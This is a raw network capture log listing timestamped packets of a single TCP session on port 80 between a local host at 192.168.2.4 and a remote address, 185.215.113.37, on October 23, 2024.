Oct 23, 2024 15:48:11.442363977 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442395926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.442400932 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.442436934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.443022966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.443073988 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.443078995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.443115950 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595499992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595516920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595531940 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595547915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595561981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595613003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595671892 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595689058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595747948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595762014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595765114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595765114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595765114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595765114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595765114 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595791101 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595813990 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595930099 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.595969915 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.595995903 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596010923 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596026897 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596038103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596067905 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596081018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596187115 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596230984 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596241951 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596265078 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596282005 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596286058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596297979 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596306086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596326113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596343994 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596679926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596726894 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596731901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596745968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596771002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596781969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596858978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596882105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596898079 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596904993 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596914053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596920967 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596934080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596942902 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596950054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596961975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.596967936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.596982956 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597003937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597003937 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597047091 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597464085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597489119 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597503901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597510099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597528934 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597542048 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597567081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597582102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597596884 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597606897 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597621918 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597625971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597635031 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597640038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597655058 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597661018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597671032 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597675085 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597692013 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597696066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.597712040 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.597740889 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598512888 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598565102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598609924 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598625898 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598649025 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598660946 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598664999 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598670959 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598681927 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598694086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598697901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598716021 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.598721027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598746061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.598764896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599160910 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599210978 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599225998 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599236012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599250078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599272966 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599277020 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599287987 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599303961 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599322081 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599329948 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599332094 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599347115 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599369049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599373102 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599389076 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599404097 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599412918 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599421024 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.599431992 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599450111 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.599467039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600162983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600178003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600203991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600212097 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600220919 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600234032 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600236893 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600253105 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600255966 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600277901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600280046 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600294113 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600306988 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600311041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600326061 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600342989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600342989 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.600368023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.600385904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601166964 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601182938 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601206064 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601216078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601221085 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601231098 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601243973 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601247072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601263046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601268053 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601284027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601284027 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601304054 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601305008 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601325989 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601342916 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601881981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601897955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601913929 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601933002 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601938963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601948023 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601954937 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601964951 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.601970911 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601985931 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.601986885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602000952 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602019072 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602034092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602034092 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602050066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602065086 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602073908 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602082014 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602087975 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602102995 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602154970 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602824926 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602840900 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602854967 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602868080 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.602871895 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602880955 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602900982 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.602912903 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755027056 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755084991 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755096912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755131960 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755137920 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755172968 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755187035 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755208969 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755218029 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755247116 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755255938 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755281925 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755290985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755326986 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755357981 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755400896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755413055 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755455017 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755462885 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755503893 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755513906 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755553007 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755568027 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755603075 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755614042 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755655050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755660057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755697012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755706072 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755738974 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755759954 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755779028 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755789995 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755824089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755831957 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755872011 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755880117 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755923986 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755929947 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755959034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.755980015 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.755991936 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756005049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756026983 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756045103 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756067038 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756067991 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756112099 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756119013 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756161928 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756169081 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756207943 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756217957 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756252050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756273985 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756287098 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756302118 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756324053 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756331921 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756357908 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756365061 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756392002 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756402016 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756427050 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756439924 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756457090 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756474018 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756493092 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756500006 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756534100 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756544113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756567955 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756577969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756603003 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756604910 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756637096 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756643057 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756670952 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756685972 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756705046 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756730080 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756738901 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756761074 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756772041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756788969 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756807089 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756817102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756840944 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756851912 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756875992 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756880999 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756911039 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756918907 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756947041 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756953001 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.756980896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.756989956 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.757069111 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.757080078 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.757106066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.757117033 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.757150888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762527943 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762567997 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762590885 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762603045 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762613058 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762646914 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762654066 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762696981 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762703896 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762747049 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762753963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762789965 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762794971 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762824059 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762831926 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762868881 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762876034 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762926102 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762928963 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.762972116 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.762979984 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763020039 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763030052 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763075113 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763081074 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763113976 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763125896 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763166904 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763173103 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763206959 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763211012 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763242960 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763252974 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763279915 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763287067 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763328075 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763334036 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763380051 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763395071 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763427973 CEST	80	49730	185.215.113.37	192.168.2.4
Oct 23, 2024 15:48:11.763441086 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763470888 CEST	49730	80	192.168.2.4	185.215.113.37
Oct 23, 2024 15:48:11.763478994 CEST	80	49730	185.215.113.37	192.168.2.4
